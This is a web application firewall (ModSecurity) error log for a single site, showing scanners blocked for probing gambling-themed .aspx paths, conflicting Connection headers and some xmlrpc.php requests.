[Sat May 02 22:17:07.166823 2026] [:error] [pid 51917:tid 51939] [client 149.224.86.158:62581] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "afYHY67wZviJ7BgcCi9XtwAAAdQ"]
[Sat May 02 22:17:09.228150 2026] [:error] [pid 52012:tid 52098] [client 149.224.86.158:64807] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "afYHZUzSWr-8cpS83mjHQQAAA1U"]
[Sat May 02 22:17:11.215555 2026] [:error] [pid 52012:tid 52093] [client 149.224.86.158:62687] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "afYHZ0zSWr-8cpS83mjHRAAAA1A"]
[Sat May 02 22:17:13.227578 2026] [:error] [pid 52012:tid 52086] [client 149.224.86.158:63535] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "afYHaUzSWr-8cpS83mjHTgAAA0k"]
[Sat May 02 22:17:15.287571 2026] [:error] [pid 52012:tid 52085] [client 149.224.86.158:62925] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "afYHa0zSWr-8cpS83mjHXAAAA0g"]
[Sat May 02 22:17:17.341442 2026] [:error] [pid 51917:tid 51930] [client 149.224.86.158:61802] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "afYHba7wZviJ7BgcCi9XywAAAcs"]
[Sat May 02 22:17:19.230850 2026] [:error] [pid 11894:tid 11906] [client 149.224.86.158:64329] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "afYHbzHh6DQF1tkXIKzilAAAAUk"]
[Sat May 02 22:17:21.270572 2026] [:error] [pid 51917:tid 51940] [client 149.224.86.158:63216] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "afYHca7wZviJ7BgcCi9X0AAAAdU"]
[Sat May 02 22:17:23.333504 2026] [:error] [pid 51917:tid 51939] [client 149.224.86.158:61935] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "afYHc67wZviJ7BgcCi9X0wAAAdQ"]
[Sat May 02 22:17:25.275019 2026] [:error] [pid 22846:tid 22861] [client 149.224.86.158:62030] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "afYHdYm1Ms03Mfhp3aYDXgAAAQ0"]
[Sat May 02 22:17:27.272871 2026] [:error] [pid 53435:tid 53491] [client 149.224.86.158:60107] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "afYHd4Dmp7_z8QkjSzPVPQAAAFM"]
[Sat May 02 22:17:29.118000 2026] [:error] [pid 52012:tid 52089] [client 149.224.86.158:64565] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "afYHeUzSWr-8cpS83mjHYwAAA0w"]
[Sat May 02 22:17:31.123907 2026] [:error] [pid 53435:tid 53478] [client 149.224.86.158:61854] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "afYHe4Dmp7_z8QkjSzPVSgAAAEY"]
[Sat May 02 22:17:33.147943 2026] [:error] [pid 53435:tid 53492] [client 149.224.86.158:61282] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "afYHfYDmp7_z8QkjSzPVUwAAAFQ"]
[Sat May 02 22:17:34.979401 2026] [:error] [pid 52012:tid 52080] [client 149.224.86.158:64141] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "afYHfkzSWr-8cpS83mjHaQAAA0M"]
[Sat May 02 22:17:36.984049 2026] [:error] [pid 11894:tid 11901] [client 149.224.86.158:62600] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "afYHgDHh6DQF1tkXIKzipQAAAUQ"]
[Sat May 02 22:17:39.019538 2026] [:error] [pid 52012:tid 52082] [client 149.224.86.158:63164] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "afYHg0zSWr-8cpS83mjHegAAA0U"]
[Sat May 02 22:17:41.072225 2026] [:error] [pid 53435:tid 53476] [client 149.224.86.158:60147] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afYHhYDmp7_z8QkjSzPVWQAAAEQ"]
[Sat May 02 22:17:43.031437 2026] [:error] [pid 53435:tid 53494] [client 149.224.86.158:64514] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afYHh4Dmp7_z8QkjSzPVWwAAAFY"]
[Sat May 02 22:17:45.061675 2026] [:error] [pid 52010:tid 52062] [client 149.224.86.158:62570] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "afYHiQiR6wohDtdeJMA2DAAAAtM"]
[Sat May 02 22:17:47.051547 2026] [:error] [pid 53435:tid 53485] [client 149.224.86.158:59725] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "afYHi4Dmp7_z8QkjSzPVYgAAAE0"]
[Sat May 02 22:17:48.904130 2026] [:error] [pid 53435:tid 53480] [client 149.224.86.158:61577] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "afYHjIDmp7_z8QkjSzPVZgAAAEg"]
[Sat May 02 22:17:50.934968 2026] [:error] [pid 51950:tid 52000] [client 149.224.86.158:60708] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "afYHjooBJzYZ3RKUhdhlpQAAAlQ"]
[Sat May 02 22:17:52.949007 2026] [:error] [pid 52010:tid 52067] [client 149.224.86.158:61863] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "afYHkAiR6wohDtdeJMA2GAAAAtg"]
[Sat May 02 22:17:54.971928 2026] [:error] [pid 52010:tid 52063] [client 149.224.86.158:64572] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "afYHkgiR6wohDtdeJMA2JgAAAtQ"]
[Sat May 02 22:17:56.946991 2026] [:error] [pid 51950:tid 51996] [client 149.224.86.158:60833] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "afYHlIoBJzYZ3RKUhdhltAAAAlA"]
[Sat May 02 22:17:58.943766 2026] [:error] [pid 51917:tid 51933] [client 149.224.86.158:63463] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "afYHlq7wZviJ7BgcCi9X7AAAAc4"]
[Sat May 02 22:37:10.847526 2026] [:error] [pid 11894:tid 11919] [client 114.119.149.109:21571] [client 114.119.149.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/publications-and-outcomes"] [unique_id "afYMFjHh6DQF1tkXIKzk0gAAAVY"], referer: https://gigfragments.org/publications-and-outcomes
[Sat May 02 22:38:40.751065 2026] [:error] [pid 51950:tid 51990] [client 114.119.134.93:44663] [client 114.119.134.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/terms-of-service"] [unique_id "afYMcIoBJzYZ3RKUhdhpTAAAAko"]
[Sat May 02 23:05:37.397303 2026] [:error] [pid 52012:tid 52086] [client 95.91.110.210:12682] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afYSwUzSWr-8cpS83mjapwAAA0k"]
[Sat May 02 23:05:40.497443 2026] [:error] [pid 52012:tid 52095] [client 95.91.110.210:10562] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "afYSxEzSWr-8cpS83mjasAAAA1I"]
[Sat May 02 23:05:43.562233 2026] [:error] [pid 52010:tid 52053] [client 95.91.110.210:10576] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "afYSxwiR6wohDtdeJMBBpQAAAso"]
[Sat May 02 23:05:45.754135 2026] [:error] [pid 52012:tid 52093] [client 95.91.110.210:38684] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "afYSyUzSWr-8cpS83mjavAAAA1A"]
[Sat May 02 23:05:47.873505 2026] [:error] [pid 53435:tid 53482] [client 95.91.110.210:38692] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "afYSy4Dmp7_z8QkjSzPlOAAAAEo"]
[Sat May 02 23:05:49.850546 2026] [:error] [pid 51917:tid 51942] [client 95.91.110.210:38706] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "afYSza7wZviJ7BgcCi9d5gAAAdc"]
[Sat May 02 23:05:53.549699 2026] [:error] [pid 53436:tid 53508] [client 95.91.110.210:38710] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "afYS0a9N0xp8fccVM0De-wAAAIk"]
[Sat May 02 23:05:55.737874 2026] [:error] [pid 53434:tid 53453] [client 95.91.110.210:47098] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "afYS0-9BXmRQcbfsxlye8AAAAAo"]
[Sat May 02 23:06:01.726292 2026] [:error] [pid 52012:tid 52081] [client 95.91.110.210:47100] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "afYS2UzSWr-8cpS83mjaxAAAA0Q"]
[Sat May 02 23:06:04.008812 2026] [:error] [pid 53435:tid 53475] [client 95.91.110.210:47112] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "afYS3IDmp7_z8QkjSzPlRwAAAEM"]
[Sat May 02 23:06:07.064584 2026] [:error] [pid 11894:tid 11916] [client 95.91.110.210:16068] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "afYS3zHh6DQF1tkXIKzosgAAAVM"]
[Sat May 02 23:06:09.797375 2026] [:error] [pid 11894:tid 11901] [client 95.91.110.210:16074] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "afYS4THh6DQF1tkXIKzotQAAAUQ"]
[Sat May 02 23:06:11.950998 2026] [:error] [pid 51950:tid 51994] [client 95.91.110.210:16084] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "afYS44oBJzYZ3RKUhdhvYgAAAk4"]
[Sat May 02 23:06:13.981842 2026] [:error] [pid 11894:tid 11920] [client 95.91.110.210:16094] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "afYS5THh6DQF1tkXIKzotgAAAVc"]
[Sat May 02 23:06:16.052292 2026] [:error] [pid 51917:tid 51927] [client 95.91.110.210:61314] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "afYS6K7wZviJ7BgcCi9d7wAAAcg"]
[Sat May 02 23:06:18.179734 2026] [:error] [pid 51917:tid 51923] [client 95.91.110.210:61328] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "afYS6q7wZviJ7BgcCi9d9AAAAcQ"]
[Sat May 02 23:06:20.188910 2026] [:error] [pid 53434:tid 53464] [client 95.91.110.210:61334] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "afYS7O9BXmRQcbfsxlye9QAAABU"]
[Sat May 02 23:06:24.086090 2026] [:error] [pid 11894:tid 11914] [client 95.91.110.210:61346] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "afYS8DHh6DQF1tkXIKzouAAAAVE"]
[Sat May 02 23:06:27.264891 2026] [:error] [pid 53436:tid 53503] [client 95.91.110.210:59628] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "afYS869N0xp8fccVM0DfAgAAAIQ"]
[Sat May 02 23:06:29.305282 2026] [:error] [pid 51950:tid 52004] [client 95.91.110.210:59634] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "afYS9YoBJzYZ3RKUhdhvaAAAAlg"]
[Sat May 02 23:18:59.351067 2026] [:error] [pid 51950:tid 51983] [client 146.56.197.150:49246] [client 146.56.197.150] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afYV44oBJzYZ3RKUhdhw9wAAAkM"]
[Sat May 02 23:19:31.464458 2026] [:error] [pid 22846:tid 22852] [client 35.226.125.165:59416] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afYWA4m1Ms03Mfhp3aYI5gAAAQQ"]
[Sat May 02 23:19:56.865501 2026] [:error] [pid 51917:tid 51924] [client 43.135.133.241:42946] [client 43.135.133.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afYWHK7wZviJ7BgcCi9fNAAAAcU"]
[Sat May 02 23:56:18.594784 2026] [:error] [pid 52124:tid 52136] [client 149.202.183.73:54898] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.183.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afYeojjabaZ9NMm8eQuW2QAAA4c"]
[Sun May 03 00:00:02.055797 2026] [:error] [pid 53434:tid 53451] [client 96.9.211.67:45204] [client 96.9.211.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.9.211.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afYfgu9BXmRQcbfsxlynbAAAAAg"]
